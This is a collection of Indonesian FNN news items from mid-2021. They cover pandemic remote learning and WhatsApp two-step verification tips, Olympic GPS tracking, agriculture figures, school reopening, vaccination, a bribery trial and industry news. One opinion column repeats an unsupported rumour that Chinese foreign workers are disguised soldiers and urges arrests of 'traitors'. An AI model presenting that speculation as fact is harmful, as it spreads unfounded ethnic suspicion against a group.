Semarang, FNN - Coronavirus Disease 2019 (COVID-19) yang mewabah hampir di semua negara, termasuk Indonesia, sejak 2020 hingga sekarang belum berakhir, bahkan bencana nonalam ini menjadi momok bagi masyarakat di seluruh dunia. Namun, menurut Guru Besar dalam Bidang Ilmu Keperawatan Jiwa pada Fakultas Keperawatan Universitas Padjadjaran (Unpad), Bandung, Jawa Barat, Prof. Suryani, Ph.D, jangan sampai ketakutan terhadap virus corona penyebab COVID-19 itu menimbulkan stres dan kecemasan. Masalahnya, kata Suryani, stres atau cemas bisa menurunkan imunitas. Lantas, ia menjelaskan bahwa saat stres dan cemas terjadi, antibodi lambat berproduksi sehingga tubuh lemah dan gampang terkena infeksi, termasuk infeksi virus corona. Kecemasan juga muncul akibat banyaknya informasi simpang siur terkait dengan wabah ini di media sosial, katanya merujuk informasi yang dipublikasikan via laman unpad.ac.id pada bulan April 2020, atau setelah kasus positif COVID-19 di Indonesia pertama kali dideteksi pada tanggal 2 Maret 2020. Karena belum ada kepastian kapan pandemi ini akan berakhir, alangkah baiknya masyarakat ingat akan kata-kata bijak "Hadapilah nikmat dengan syukur dan terimalah musibah dengan rasa sabar". Setidaknya hal ini menenangkan pikiran ketika menghadapi musibah bencana nonalam ini. Selain kata-kata bijak, perlu pula mengedepankan pikiran positif agar selalu memikirkan hal yang terbaik yang bakal terjadi, bukan malah hal-hal yang terburuk yang berujung pada kecemasan. Banyak sisi positif ketika bangsa ini dilanda wabah COVID-19 sejak Maret hingga hingga sekarang. Setidaknya pandemi ini mendorong masyarakat untuk melek dan makin akrab dengan teknologi. Pada masa pandemi ini masyarakat tampaknya sudah akrab dengan istilah pembelajaran jarak jauh (PJJ). Penerapan PJJ sejak April 2020 ini tidak lain bertujuan untuk mengurangi risiko penyebaran virus corona, terutama pada anak-anak. Hasil survei Perhimpunan untuk Pendidikan dan Guru Indonesia (P2GI) di akhir tahun 2020, misalnya, menunjukkan 70 persen guru menggunakan media sosial, seperti WhatsApp, Facebook, Line, dan Instagram untuk PJJ selama pandemi COVID-19. Disebutkan pula 54 persen responden menggunakan Google Classroom untuk PJJ, 42 persen responden memilih aplikasi Zoom untuk PJJ, 31 persen responden menggunakan Google Meet untuk PJJ. Sementara itu, kurang dari 10 persen responden yang menggunakan aplikasi lainnya, seperti Cisco Webex, Microsoft Teams, U Meet Me, Rumah Belajar, Quipper School, Edmodo, dan Ruangguru untuk PJJ. Menurut Ketua Lembaga Riset Siber Indonesia CISSReC Dr Pratama Persadha, semuanya itu dipakai secara bergantian, atau tidak hanya memakai satu platform. Pemakaian platform media sosial, khususnya WhatsApp, sangat tinggi karena menyesuaikan dengan aplikasi yang sudah ada, ditambah lagi mudah menggunakannya. Bahkan, WhatsApp pada masa pandemi ini menambah beberapa fitur, misalnya untuk video call bisa sampai 50 orang. Inilah yang memudahkan para guru, murid, dan orang tua siswa untuk memakai WA. Apalagi, WhatsApp dan media sosial lain tidak memerlukan biaya langganan seperti zoom dan layanan konferensi video lainnya. Minus Edukasi Soal pemakaian sebenarnya ada pembelajaran secara cepat. Namun, pakar keamanan siber CISSReC ini menyayangkan masih minusnya edukasi tentang sisi keamanannya. Dalam memakai WA dan media sosial, misalnya, sebisa mungkin semua akun sudah ditambahkan verifikasi dua langkah agar tidak mudah diretas atau diambil pihak lain. Ini sama sekali belum ada edukasi ke bawah. Adapun cara mengaktifkan fitur verifikasi dua langkah di WhatsApp, pertama pilih ikon tiga titik di pojok kanan atas aplikasi WA, kemudian pilih menu Settings, masuk ke pengaturan Account, pilih two step verification, bikin personal identification number (PIN) 6 digit angka, lalu masukkan juga alamat surat elektronik (email). Untuk mengamankan akun media sosial, tidak lupa juga untuk mengaktifkan verifikasi dua langkah dan mematikan layanan pihak ketiga pada akun media sosial, seperti Twitter, Facebook, dan YouTube. Pratama yang pernah menjadi pejabat Lembaga Sandi Negara (Lemsaneg), yang kini menjadi Badan Siber dan Sandi Negara (BSSN) itu mengutarakan bahwa tingkat keamanan memang bergantung pada dua pihak, pihak penyedia platform dan pihak pengguna (user). Oleh karena itu, dari sisi media sosial sebenarnya akan sangat aman bila sudah dilakukan verifikasi dua langkah. Namun, dari sisi platform konferensi video sempat banyak keluhan, seperti zoom yang mudah diretas. Kendati demikian, seiring dengan berjalannya waktu, beberapa kelemahan sudah berusaha ditutup. Penerapan WFH Sejak virus corona melanda Tanah Air hingga sekarang, sejumlah perusahaan menerapkan sistem bekerja dari rumah (work from home/WFH) guna mencegah klaster baru penularan COVID-19 di lingkungan kerja. Apakah penerapan WFH ini berdampak pada penambahan atau pengurangan biaya suatu perusahaan? Pertanyaan ini dijawab oleh hasil survei Microsoft terhadap empat negara bahwa penambahan atau pengurangan anggaran terkait dengan keamanan siber bergantung pada fokus masing-masing perusahaan. Sejumlah negara yang disurvei Microsoft, yakni Jerman, India, Amerika Serikat, dan United Kingdom (UK) atau Kerajaan Bersatu Britania Raya (Inggris, Irlandia Utara, Skotlandia, dan Wales). Bagi perusahaan besar, terutama teknologi, menurut Pratama, anggaran keamanan jelas ditingkatkan, mengingat banyaknya pegawai yang harus bekerja dari rumah. Ditambah lagi, belakangan ini marak penjualan data pribadi masyarakat di RaidForums. Oleh karena itu, perusahaan yang menerapkan WFH perlu membekali tools keamanan siber kepada pegawai yang berkerja di rumah guna mencegah peretasan data. Terkait dengan penerapan WFH, sejumlah platform untuk menunjang mobilitas pegawai agar peretas tidak mudah menjebol data mereka pun tumbuh di tengah pandemi COVID-19, seperti aplikasi jaringan pribadi virtual atau virtual private network (VPN) untuk bekerja dari jarak jauh. Berikutnya, firewall (sistem keamanan yang melindungi komputer dari berbagai ancaman di jaringan internet). Bahkan, implementasi teknologi seperti zero trust (keamanan pusat data yang memeriksa seluruh traffic pada network) yang menurut Pratama biayanya tidak murah. Di lain pihak, dengan penerapan WFH, membuat jam kerja lebih fleksibel sekaligus lebih lama, bahkan di luar jam kerja masih melakukan pekerjaan kantor. Hal ini sebenarnya bukanlah hal baru sejak era BlackBerry Messenger (BBM) dan WA. Namun, pada masa pandemi ini menjadi sebuah kebiasaan. Meski semua itu bergantung pada setiap perusahaan apakah bisa melakukan penyesuaian atau tidak ke arah yang lebih produktif. Semestinya dalam kondisi saat ini mengarah pada produktivitas kerja karena waktu tidak tersita untuk perjalanan pergi/pulang kantor sehingga kondisi fisik lebih prima dan fokus. Hal positif lainnya, banyak sekali peluang di tengah pandemi karena banyak hal baru yang bisa dilakukan lewat aring. Misalnya, memberikan ursus singkat memasak dari rumah dan semacamnya. Karena hingga kini belum ada teknologi yang mampu memprediksi bencana alam maupun bencana nonalam secara akurat, berpikirlah positif dalam menghadapinya. Di sinilah butuh kepiawaian sang pemimpin dalam mengatasi pelbagai persoalan, termasuk pandemi COVID-19 yang memerlukan langkah cepat dan akurat tetapi tidak menimbulkan kepanikan di tengah masyarakat. (mth)

Atlet Olimpiade Tokyo Akan Dipantau Menggunakan GPS

Jakarta, FNN - CEO Komite Penyelenggara Tokyo 2020, Toshiro Muto, mengatakan atlet Olimpiade akan dipantau menggunakan GPS seperti yang dilakukan kepada media asing, Reuters melaporkan Rabu. Muto juga mengatakan sistem pemantauan akan digunakan tidak untuk melacak setiap gerakan peserta Olimpiade tetapi untuk melacak mereka secara retroaktif jika muncul masalah. Tokyo akan menjadi tuan rumah Olimpiade Musim Panas 2020 yang telah satu tahun ditunda dan akan dimulai 23 Juli, di tengah kekhawatiran bahwa acara global itu akan menambah beban sistem medis yang telah terbebani akibat pandemi virus corona. Penyelenggara Tokyo 2020, Selasa, mengatakan jurnalis luar negeri yang meliput Olimpiade Tokyo akan dilacak pergerakannya dengan GPS, dan terancam tidak dapat meliput jika melanggar aturan. Kepala Penyelenggara Tokyo 2020 Seiko Hashimoto mengatakan teknologi pelacakan akan digunakan untuk memastikan mereka hanya pergi ke tempat yang seharusnya. Dia menambahkan wartawan akan lebih didorong untuk tinggal di hotel yang telah ditunjuk daripada penginapan pribadi. Hashimoto mengatakan jumlah hotel akan dikurangi, dari yang semula direncanakan 350 menjadi sekitar 150, sebagai upaya menjaga pengunjung tetap berada di bawah pengawasan ketat. Penonton dari luar negeri telah dilarang menghadiri Olimpiade, dan penyelenggara akan memutuskan pada akhir bulan ini berapa banyak penonton domestik yang dapat menonton pertandingan. (mth)

Menteri Pertanian: Realisasi Produksi Pangan Meningkat

Jakarta, FNN - Menteri Pertanian Syahrul Yasin Limpo menyebutkan realisasi produksi sejumlah komoditas pangan utama meningkat pada tahun 2020 dan bahkan melampaui target yang ditetapkan. “Capaian produksi padi tahun 2020 mencapai 54,65 juta ton, lebih tinggi 0,09 persen dari produksi tahun 2019,” kata Syahrul dalam rapat kerja dengan Komisi IV DPR RI di Jakarta, Rabu. Beberapa produksi komoditas pangan lainnya seperti jagung, bawang merah, cabai, dan daging sapi atau kerbau realisasinya pun melampaui target. Produksi jagung 23,09 juta ton atau 101 persen, produksi bawang merah 1,81 juta ton atau 113 persen, produksi cabai 2,77 juta ton atau 105 persen, dan produksi daging sapi/kerbau mencapai 0,54 juta ton atau 132 persen. Syahrul Yasin Limpo juga menyebutkan program akselerasi ekspor yang dilaksanakan selama tahun anggaran 2020 hingga sekarang telah berdampak positif terhadap peningkatan nilai ekspor pertanian. Berdasarkan data Badan Pusat Statistik (BPS), nilai ekspor produk pertanian selama Januari hingga Desember 2020 mencapai Rp451,8 triliun, meningkat 15,79 persen dibandingkan tahun 2019 senilai Rp390,2 triliun. “Sementara pada periode Januari sampai April 2021, ekspor pertanian mencapai Rp189,09 triliun, tumbuh 34,97 persen dibanding periode yang sama,” tuturnya. Seiring dengan meningkatnya kinerja produksi dan ekspor pangan, Syahrul menyebutkan kontribusi sektor pertanian terhadap perekonomian nasional turut meningkat, terlebih di masa pandemi COVID-19. “Selama tahun 2020, hampir seluruh sektor ekonomi Indonesia tumbuh negatif, sebaliknya sektor pertanian mampu tumbuh positif,” kata dia. Merujuk data BPS, Syahrul menyebutkan pada Triwulan II 2020, PDB sektor pertanian tumbuh 16,24 persen dibandingkan kuartal sebelumnya (qoq). Pada triwulan III dan IV, PDB pertanian juga tumbuh masing-masing 2,15 persen dan 2,59 persen dibandingkan periode sama tahun sebelumnya. “Pertanian mampu menjadi penyelamat perburukan resesi ekonomi nasional,” tutur Syahrul. Sementara pada tahun 2022, Kementerian Pertanian berfokus pada perencanaan pemenuhan kebutuhan pangan masyarakat dengan menjaga keberlanjutan peningkatan produksi komoditas prioritas. (mth)

Nadiem: PTM Terbatas Tidak Sama dengan Sekolah Tatap Muka Normal

Jakarta, FNN - Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi (Mendikbudristek) Nadiem Anwar Makarim mengatakan Pembelajaran Tatap Muka (PTM) secara terbatas di tengah pandemi COVID-19 tidak sama dengan sekolah tatap muka sebagaimana dalam situasi normal. “Apa yang Bapak Presiden sampaikan pada Senin (7/6) lalu benar bahwa pembelajaran yang kita upayakan bersama adalah tatap muka terbatas. Sekali lagi terbatas,” ujarnya dalam keterangan tertulisnya di Jakarta, Rabu. Sebelumnya, Presiden Republik Indonesia Joko Widodo memberikan contoh praktik baik dalam melaksanakan PTM terbatas, di mana satuan pendidikan dapat mengatur satu kelas hanya diisi 25 persen dari total murid, kegiatan belajar mengajar hanya dua jam, dan satu minggu hanya dua kali pertemuan. “Contohnya seperti yg disampaikan oleh Bapak Presiden. Sekolah yang sudah atau dalam proses melakukan PTM terbatas dengan durasi belajar dan jumlah murid berbeda tetap diperbolehkan selama mengikuti protokol kesehatan dan di bawah batas maksimal yang tercantum dalam Surat Keputusan Bersama (SKB) Empat Menteri tentang Panduan Penyelenggaraan Pembelajaran di Masa Pandemi COVID-19,” tambah dia. Dia menambahkan tidak ada perubahan dalam SKB. SKB tersebut menuangkan aturan maksimal. Sekolah bisa menerapkan PTM terbatas dengan sedikit demi sedikit. Sebanyak 30 persen satuan pendidikan telah melakukan PTM terbatas sesuai situasi dan kondisi masing-masing. Sebagian baru memulai PTM terbatas beberapa bulan terakhir, ada pula yang sudah melakukan PTM terbatas sejak tahun lalu. “Seperti halnya para guru, orang tua, dan murid yang saya dengar langsung keluhannya dalam melakukan pembelajaran jarak jauh, Bapak Presiden juga menyampaikan kepeduliannya,” terang dia. Presiden menyampaikan bahwa pembelajaran jarak jauh pada kenyataannya menyulitkan anak, orang tua, dan guru. “Beliau menyampaikan, kita harus memiliki keberanian untuk mendorong PTM terbatas yang tentu saja disertai penerapan protokol kesehatan yang sangat ketat,” kata Nadiem. Sebelumnya, Kemendikbudristek dan Kementerian Agama (Kemenag) telah menerbitkan Panduan Penyelenggaraan Pembelajaran Pendidikan Anak Usia Dini, Pendidikan Dasar, dan Pendidikan Menengah (PAUD Dikdasmen) di Masa Pandemi COVID-19 yang dapat membantu kelancaran penyelenggaraan PTM terbatas. Panduan dapat diunduh di laman bersamahadapikorona.kemdikbud.go.id atau spab.kemdikbud.go.id. (mth)

Dua Pansus Mendesak dan Darurat

By M Rizal Fadillah Bandung, FNN - Sebagai badan perwakilan rakyat yang salah satu fungsinya adalah melakukan pengawasan kepada Pemerintah, DPR saat ini dituntut untuk aspiratif dan lebih gigih dalam memperjuangkan kepentingan rakyat. Bukan sebagai juru bicara atau pembela dari kepentingan Pemerintah. Anggota DPR dipilih oleh rakyat bukan ditunjuk atau dibayar Pemerintah. Tentu banyak agenda pengawasan Dewan terhadap kerja Pemerintah saat ini, tetapi ada dua hal penting yang perlu mendapat perhatian serius karena menjadi aspirasi utama kekinian. Pansus sebagai organ lanjutan dari kerja Komisional Dewan harus dibentuk, yaitu: Pertama, Pansus Haji. Implikasi pembatalan haji berdasarkan Keputusan Menteri Agama No. 660 tahun 2021 telah menimbulkan keresahan calon jama'ah dan kegelisahan rakyat. Banyak pertanyaan yang butuh klarifikasi dan investigasi baik aspek kerja atau kinerja penyelenggaraan maupun besaran, alokasi, dan penggunaan keuangan atau dana haji. Penting tahap awal audit investigasi batal haji 2020 dan 2021 karena bagaimana bisa memberangkatkan jika sesuai Laporan BPKH kas saldo Des 2019 hanya 8,8 M dan Des 2020 17,9 M sedangkan biaya per 200 ribu jama'ah dibutuhkan biaya kurang lebih 14 T ? Jika ada simpanan di Bank berapa besaran dan profil simpanannya seperti apa ? Pertanyaan krusial lain adalah dari investasi jangka panjang 60,1 T dan jangka pendek 9,9 T (tahun 2019) mengapa tercatat kas bersih dari aktivitas investasi minus (kerugian) 12 T lalu investasi jangka panjang 90,7 T dan jangka pendek 8,8 T (2020) kas bersih hasil investasi minus (kerugian) 20 T? Apa makna "aman" yang dikemukakan oleh Jokowi, KH Ma'ruf Amin, dan Anggito? Audit Investigasi dan Pansus DPR harus dilakukan demi kejelasan kondisi dana haji tersebut. Rakyat perlu informasi, kepastian, dan ketenangan. Kedua, Pansus TKA China. Soal TKA China yang masuk dan bekerja di Indonesia menjadi "misteri" yang menggelisahkan. Berdampak pada kecemburuan sosial dan kerawanan politik. Investasi dan hutang luar negeri negeri yang besar ternyata melekat dengan komitmen kehadiran TKA China yang tidak semua berkualifikasi spesifik. Tenaga biasa atau kasar pun membanjiri. Jumlahnya tak jelas. Sebagai sampel di masa larangan mudik kedatangan WNA China tanggal 8 Mei sebanyak 157 orang TKA, tanggal 11 Mei 2021 dengan Southern China Airways tiba 103 orang, 12 Mei dengan Sriwijaya Air dari Hang Zhou datang 149 orang, 13 Mei dengan Xiamen Air dari Fu Zhou sejumlah 110 orang, dan 15 Mei dengan Southern China berjumlah 158 orang. Tak jelas status. Pastinya mereka mengantongi dokumen Kartu Ijin Tinggal Sementara dan Kartu Ijin Tinggal Tetap dari Kemenhukham melalui Dirjen Imigrasi. Itu kedatangan hampir tiap hari melalui Bandara Soekarno Hatta, lalu yang melalui Bandara lain di berbagai daerah di Indonesia bukan tidak ada. Jauh sebelum bulan Mei dan setelahnya. Lalu yang tiba melalui laut atau jalur lain apakah terdata dengan baik, baik legal dan ilegal ? Kerawanan sosial politik berkaitan dengan sentimen etnis diduga akan menguat. Tanpa klarifikasi dan kendali bukan mustahil berujung konflik atau rusuh. Kasus di Kendari, Ketapang, Serang, Halmahera dan lainnya menggambarkan kerawanan tersebut. Di sisi lain masyarakat khawatir bahwa TKA China yang datang itu sebenarnya Tentara Merah. Kecurigaan muncul melihat postur tubuh "para pekerja" yang berbeda. Penyusupan yang berbahaya tentu tak bisa dibiarkan atau dianggap remeh. Penghianat negara apakah warga biasa atau pejabat tinggi yang bermain harus segera ditangkap, diinterogasi, dan diberi sanksi keras. Dua Pansus sebagai alat kelengkapan Dewan ini mendesak untuk disiapkan dan dibentuk oleh DPR. Bukan hanya sebagai penenang atas kegelisahan rakyat, tetapi juga kewajiban Dewan untuk ikut mencegah terjadinya korupsi dan penyimpangan lain serta turut membongkar potensi ancaman yang merugikan atau menimbulkan bahaya nasional. Masalah haji dan TKA China sudah dalam kategori darurat. Penulis, Pemerhati Politik dan Kebangsaan Bandung, 10 Juni 2021

DKI Boleh Gelar Vaksinasi COVID Tahap III untuk Warga 18 Tahun ke Atas

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta sudah diperbolehkan menggelar vaksinasi COVID-19 tahap III untuk warga yang berusia 18 tahun ke atas. Berdasarkan surat Direktorat Jenderal Pencegahan dan Pengendalian Penyakit Kementerian Kesehatan Nomor SR.02.04/II/1496/2021 yang diterima di Jakarta pada Rabu, ada tiga pertimbangan persetujuan perluasan sasaran vaksinasi COVID-19 di DKI Jakarta tersebut. Pertama, Ditjen P2P Kementerian Kesehatan menyampaikan bahwa transmisi penularan COVID-19 di DKI Jakarta masih cukup tinggi. Berdasarkan data yang masuk ke Kementerian Kesehatan sampai dengan 6 Juni 2021, total kasus positif COVID-19 di DKI Jakarta sebesar 435.135 kasus (bertambah 1.019 orang), dengan kasus aktif sebanyak 11.516 (2,6 persen) dan kematian sebanyak 7.438 kasus (bertambah 15 orang), dimana 35 persen kasus positif aktif dengan gejala sedang sampai dengan kritis membutuhkan perawatan di Rumah Sakit. Persentase kasus positif di DKI Jakarta selama satu pekan terakhir juga lebih dari 5 persen (mencapai 7,62 persen). "Hal ini menunjukkan bahwa transmisi penularan penyakit di Provinsi DKI Jakarta masih cukup tinggi," demikian tertulis dalam surat Ditjen P2P kepada Kepala Dinas Kesehatan Provinsi DKI Jakarta tersebut. Kedua, vaksinasi COVID-19 di Provinsi DKI Jakarta masih terbatas pada sasaran yang tinggal di kawasan permukiman kumuh saja sesuai surat dari Direktur Jenderal P2P Nomor SR.02.06/II/1134/2021 pada 3 Mei 2021 tentang Pelaksanaan Vaksinasi COVID-19 di Kawasan Permukiman Kumuh Provinsi DKI Jakarta. Saat ini, Pemerintah Provinsi DKI Jakarta mulai melaksanakan vaksinasi COVID-19 tahap ketiga dengan sasaran masyarakat rentan. Ketiga, Jakarta merupakan Ibu Kota Negara yang menjadi pusat pemerintahan dan pertumbuhan ekonomi nasional. Sehingga, Ditjen P2P Kementerian Kesehatan menilai penting untuk Pemerintah Provinsi DKI Jakarta segera menekan dan mengendalikan kasus COVID-19 di wilayahnya. Salah satunya dengan mencapai imunitas kelompok (herd immunity) melalui pelaksanaan vaksinasi COVID-19 dengan cakupan yang tinggi dan merata. "Mempertimbangkan hal tersebut di atas, maka Provinsi DKI Jakarta dapat memperluas sasaran vaksinasi COVID-19 kepada seluruh penduduk usia 18 tahun ke atas, dengan tetap memprioritaskan pemberian vaksinasi kepada tenaga kesehatan dan tenaga penunjang yang bekerja di fasilitas pelayanan kesehatan, kelompok masyarakat lanjut usia, petugas pelayanan publik dan kelompok masyarakat rentan (masyarakat di daerah kumuh, orang dengan gangguan jiwa, dan pra-lansia) yang belum mendapatkan vaksinasi maupun belum lengkap vaksinasinya," demikian tertulis dalam surat Ditjen P2P Kemkes tersebut. Namun, implementasi dan strategi percepatan pelaksanaan vaksinasi disesuaikan dengan kebijakan yang berlaku di Provinsi DKI Jakarta. Kepala Dinas Kesehatan Provinsi DKI Jakarta boleh melakukan koordinasi dan kerja sama untuk perluasan dan percepatan pelaksanaan vaksinasi COVID-19 dengan jajaran TNI, Polri, komunitas, organisasi lokal, organisasi keagamaan, dan pihak swasta dalam mendukung capaian target vaksinasi COVID-19 di wilayah masing-masing. (mth)

Vendor Penyedia Bansos Sembako Kemensos Akui Berikan "Fee"

Jakarta, FNN - Sejumlah direktur perusahaan vendor bansos sembako COVID-19 di Kementerian Sosial mengakui telah memberikan fee karena sudah mendapatkan jatah pengadaan barang tersebut. "Saya kasih tiga kali Rp50 juta, jadi total Rp150 juta kepada Pak Joko," kata Direktur PT Andalan Pesik International Rocky Josep Pesik di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu. Rocky menjadi saksi untuk terdakwa mantan Menteri Sosial Juliari Batubara yang didakwa menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bansos COVID-19. Joko yang dimaksud adalah pejabat pembuat komitmen (PPK) pengadaan bansos sembako COVID-19 Matheus Joko Santoso. "Itu uang untuk terima kasih saja, tidak ada kesepakatan nominal sebelumnya," ungkap Rocky. Rocky memang mendapatkan tiga paket pengadaan bansos, yaitu DKI 1, Bodetabek 1, dan DKI 3 dengan total 115 ribu paket senilai Rp30 miliar dan mengambil keuntungan 12—13 persen dari nilai pengadaan. Selain Rocky, Direktur PT Global Trijaya Raj Indra Singh juga mengaku memberikan Rp100 juta kepada Joko. "Setelah selesai pengadaan paket ke-7, diminta beliau (Joko) untuk bantu anak-anak administrasi, mereka yang bantu-bantu Pak Joko, katanya Pak Joko tolong anak-anak diperihatikan," kata Raj. Raj hanya memberikan satu kali yang uangnya berasal dari kantong pribadinya karena Kemensos belum membayarkan penagihannya. Raj mendapatkan 100.000 paket bansos pada tahap 7 senilai Rp27 miliar dengan mengambil keuntungan sekitar 13 persen. Sementara itu, Direktur PT Total Abadi Solusindo M. Iqbal mengaku memberikan Rp400 juta kepada Matheus Joko. "Saya memang diminta kontribusi untuk kegiatan Kemensos oleh Pak Joko dan Pak Adi, nominalnya tidak diminta hanya diminta agar ada kontribusi," ungkap Iqbal. Adi adalah Kabiro Umum Kemensos Adi Wahyono yang juga menjadi kuasa pengguna anggaran (KPA) pengadaan bansos sembako. "Saya serahkan kepada Pak Joko dan Pak Adi Wahyono bersamaan, di ruangan saat itu memang ada Pak Adi dan Pak Joko," kata Iqbal. Direktur PT Era Nusantara Prestasi Go Erwin sekaligus pemilik CV Nurani Cemerlang mengaku mengeluarkan Rp27 juta untuk tim administrasi bansos. "Saya berikan ke tim Pak Joko, saya berikan setiap kali mengurus penagihan Kemensos kurang lebih Rp3 juta dan ada sembilan kali tagihan, jadi totalnya Rp27 juta," ungkap Erwin. Erwin mendapatkan paket bansos untuk tahap komunitas, tahap 5, 6, dan 11 sebesar 307.301 paket dengan nilai Rp88.195.260.000,00. (mth)

Menperin Dorong Ekspansi Industri Komponen Elektronika

Jakarta, FNN - Menteri Perindustrian Agus Gumiwang Kartasasmita mendorong ekspansi industri komponen elektronika di dalam negeri, seiring dengan pemulihan kinerja industri manufaktur nasional yang berangsur menunjukkan perbaikan dari bulan ke bulan. Pada Mei 2021, Purchasing Manager’s Index (PMI) Manufaktur Indonesia berhasil memecahkan rekor dengan menembus level 55,3, melebihi negara-negara manufaktur lainnya seperti China, Vietnam, Korea Selatan, dan India. “Tidak hanya memecahkan rekor, kami optimistis kenaikan PMI Manufaktur Indonesia yang menembus level 55,3 pada Mei 2021 juga menunjukkan pertumbuhan industri pada triwulan-II 2021 akan kembali positif,” kata Menperin lewat keterangannya di Jakarta, Rabu. Agus menegaskan pemerintah bertekad untuk terus berupaya menciptakan iklim usaha yang kondusif. Hal ini guna mempertahankan dan meningkatkan performa industri manufaktur dalam negeri agar bisa semakin berekspansi sehingga mengakselerasi pemulihan ekonomi nasional. “Momentum ekspansi industri manufaktur Indonesia ditunjukkan dengan kepercayaan diri para investor dalam melakukan penambahan terhadap penanaman modal di Indonesia,” jelasnya. Misalnya, PT Haeng Sung Raya Indonesia (Haeng Sung), industri komponen elektronika yang memproduksi Printed Circuit Board Assembly (PCBA) dan harness, berupaya memperkuat posisinya dengan kembali menambah investasinya di Cibitung sebesar 10 juta dolar AS. “Pemerintah akan mendorong pengembangan industri komponen elektronika, dengan memperkuat struktur manufakturnya melalui peningkatan investasi dan menjalankan kebijakan substitusi impor,” tutur Agus. Disrupsi dalam rantai pasok global di masa pandemi menyebabkan terhambatnya pengiriman komponen sehingga menghambat proses produksi. “Kondisi ini menunjukkan perlunya ada kemandirian industri di dalam negeri yang juga sejalan dengan program substitusi impor 35 persen pada tahun 2022,” imbuhnya. Haeng Sung yang saat ini mempekerjakan sebanyak 800 orang, memiliki kapasitas produksi PCBA sebesar 120 juta unit dan harness hingga 12 juta unit. Komponen elektronika tersebut akan digunakan oleh perusahaan pembuatan produk hilir seperti televisi, audio video, kulkas, dan mesin cuci. Direktur Jenderal Industri Logam, Mesin, Alat Transportasi dan Elektronika (ILMATE) Kemenperin, Taufiek Bawazier menyampaikan pentingnya kesiapan industri komponen dalam negeri. Hal ini akan meningkatkan daya saing industri turunannya baik di pasar dalam maupun luar negeri. “Untuk mendukung ketersediaan industri komponen, pemerintah terus berupaya dengan mengeluarkan kebijakan-kebijakan strategis seperti pengoptimalan Tingkat Komponen Dalam Negeri (TKDN) ataupun insentif-insentif penanaman modal seperti tax holiday dan tax allowance,” paparnya. Pada 2020 dalam masa pandemi, Haeng Sung berhasil mencatat nilai ekspor hingga 21 juta dolar AS dan nilai ini diperkirakan meningkat pada tahun 2021, dimana hingga bulan Mei sudah mencapai 13 juta dolar AS. Komponen yang diproduksi di dalam negeri ini sudah berhasil tembus pasar ekspor ke berbagai negara seperti India, Turki, Polandia, Rusia, Meksiko, Korea Selatan, dan Vietnam. Hal senada disampaikan pula Direktur Industri Elektronika dan Telematika Kemenperin Ali Murtopo Simbolon, bahwa diperlukan penguatan industri komponen dalam negeri agar bisa memacu kegiatan ekspor. “Karakteristik industri komponen elektronika yang membutuhkan jumlah produksi yang tinggi untuk mencapai skala ekonomi, tentunya mengharuskan industri komponen untuk menyasar pasar ekspor,” jelasnya. Hal tersebut juga dilakukan perusahaan lainnya dengan menjadikan Indonesia sebagai basis produksi di kawasan Asia Tenggara dan kemudian mengekspor hasil produksinya ke berbagai negara. Contohnya, PT Pampas-Nextron Teknologi Indonesia yang kembali melakukan ekspor sebanyak 40.400 unit set top box ke Brasil atau setara dengan nilai 590.800 dolar AS pada April 2021 lalu. Produsen set top box yang berlokasi di Cikarang tersebut sudah berhasil memasarkan produknya ke berbagai negara di Kawasan Asia, Eropa, dan Amerika. Total ekspor dari seluruh produk PT Pampas-Nextron Teknologi Indonesia pada periode Januari-Mei 2021 telah menembus 3,15 juta dolar AS. (mth)

Ketua DPD RI Kunjungi Bupati Ponorogo

Ponorogo, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI AA La Nyalla Mahmud Mattalitti bersilaturahmi menemui Bupati Ponorogo Sugiri Sancoko di kantor bupati setempat dalam rangkaian kunjungan kerjanya di Provinsi Jawa Timur (Jatim), Rabu. Dalam kunjungannya ke Kota Reog itu, mantan Ketua Umum Kadin Jatim tersebut, didampingi Ketua Komite III DPD RI Sylviana Murni, Senator Sulawesi Selatan Andi Muh Ihsan, Sekjen DPD RI Rahman Hadi, dan Deputi Administrasi DPD RI Lalu Niqman Zahir. Rombongan disambut oleh Bupati Sugiri Sancoko, Wakil Bupati Lisdyarita, Sekda Kabupaten Ponorogo Agus Pramono, dan jajaran pejabat pemkab setempat. Dalam silaturahmi tersebut, senator asal Jawa Timur ini menegaskan kembali wacana DPD RI untuk melakukan amendemen ke-5 terhadap UUD 1945. Menurutnya, amendemen ke-5 dibutuhkan agar hak DPD sebagai jelmaan dari utusan daerah bisa mengusung calon presiden dan wakil presiden bisa pulih. "Kami selain keliling daerah juga keliling ke kampus-kampus menggaungkan wacana tersebut lewat seminar maupun FGD, sehingga para akademisi bisa ikut serta mendorong wacana tersebut," kata La Nyalla di sela silaturahmi. Bupati Ponorogo Sugiri menjamu tamunya tersebut dengan hidangan makan siang khas Ponorogo, di antaranya nasi tiwul dan bothok, beserta minuman dawet. Sebelum ke Ponorogo, La Nyalla juga sowan atau bersilaturahmi ke Pondok Pesantren Al-Fatah di Desa Temboro, Kecamatan Karas, Kabupaten Magetan. Di Pesantren Temboro itu, mantan Ketua Umum PSSI tersebut bertemu dengan Wali Kota Bengkulu Helmi Hasan yang juga sedang suluk ke Ponpes Al-Fatah Magetan. Keduanya kemudian saling bertukar cenderamata. La Nyalla memberikan cenderamata kain kiswah, sedangkan Helmi Hasan memberikan tongkat. (sws)

Erick Thohir Dorong Perusahaan BUMN Kembangkan Kreatifitas dan Inovasi

Jakarta, FNN - Menteri Badan Usaha Milik Negara (BUMN) Erick Thohir mendorong perusahaan-perusahaan BUMN mengembangkan kreatifitas, kewirausahaan, dan kepemimpinan dalam masa pandemi Covid-19. "BUMN Indonesia sebagai salah satu pilar ekonomi harus menunjukkan kreativitas dan inovasi untuk membantu dampak kesehatan dan ekonomi," kata Erick Thohir dalam sambutannya di acara BUMN dan BUMD Marketeers Award yang digelar secara daring, Rabu. Erick juga menyampaikan terima kasih kepada MarkPlus, Inc. sebagai penyelenggara acara BUMN dan BUMD Marketeers Award 2021, sehingga perusahaan-perusahaan BUMN dan BUMD dapat senantiasa menunjukkan akuntabilitas dan kredibilitas. Sebagai informasi, BUMN dan BUMD Marketeers Award 2021 diselenggarakan untuk memberikan penghargaan bagi perusahaan BUMN maupun BUMD se-Indonesia yang berhasil menerapkan transformasi digital dalam strategi marketingnya. MarkPlus, Inc. telah melakukan ajang penghargaan ini dari tahun 2011 dan merupakan salah dua rangkaian acara Jakarta Marketing Week yang diselenggarakannya setiap tahunnya. Tahun 